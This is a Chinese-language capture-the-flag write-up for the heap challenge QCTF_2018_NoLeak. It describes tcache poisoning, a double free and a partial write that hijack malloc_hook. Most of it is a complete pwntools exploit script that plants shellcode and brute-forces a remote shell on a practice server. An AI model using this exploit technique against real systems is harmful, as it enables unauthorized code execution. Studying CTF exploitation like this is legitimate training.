前置知识
fastbin attack
partial write
整体思路
网上的思路大多是用unsafe unlink
来达成任意地址写,从而打malloc_hook
,感觉有点画蛇添足,毕竟已经有tcache poisoning
可以进行任意地址写了。
先说下我的思路,先打tcache poisoning
,往bss
段写shellcode
,然后释放一个large chunk
到unsortedbin
(large chunk
不会添加到tcache
),然后先让tcache bin
中的chunk
进行一个double free
使其指向自己,然后利用partial write
指向unsortedbin
中的fd
指针(这里需要爆破1bit
)。随后edit
这个unsortedbin
的fd
指针,使其指向malloc_hook
,然后申请tcache
几次把malloc_hook
申请回来。往malloc_hook
里面写shellcode
在bss
段的地址,然后触发malloc
即可。
很疑惑的一点是,这里我通过vmmap
查看bss
段是不可执行的,可以执行的段实际上是stack
,这段代码在我本地也打不通,但是看网上的wp
利用unlink
也是在bss
写的shellcode
。而远程确实可以打通。
exp
from pwn import *
from LibcSearcher import *
filename = './QCTF_2018_NoLeak'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Your choice :'
menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = 'Data: '
menu_del = 2
del_index_words = 'Index: '
menu_show = 3
show_index_words = 'Idx: '
menu_edit = 3
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Data: '
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def exp(sh):
add(size=0x4f0, content='1') # 0
add(size=0xf0, content='1') # 1
delete(index=1)
edit(index=1, content=p64(0x601100))
payload = asm(shellcraft.amd64.linux.sh())
add(size=0xf0, content='1') # 2
add(size=0xf0, content=payload) # 3
add(size=0x80, content='1') # 4
delete(index=0)
delete(index=4)
delete(index=4)
edit(index=0, size=0x10, content=p8(0x30))
edit(index=4, size=0x10, content=p16(0xa260))
add(size=0x80, content='11') # 5
add(size=0x80, content='111') # 6
add(size=0x80, content=p64(0x601100))
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size: ', '50')
sh.interactive()
while True:
try:
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', 28973)
exp(sh)
except:
sh.close()
continue
# debug()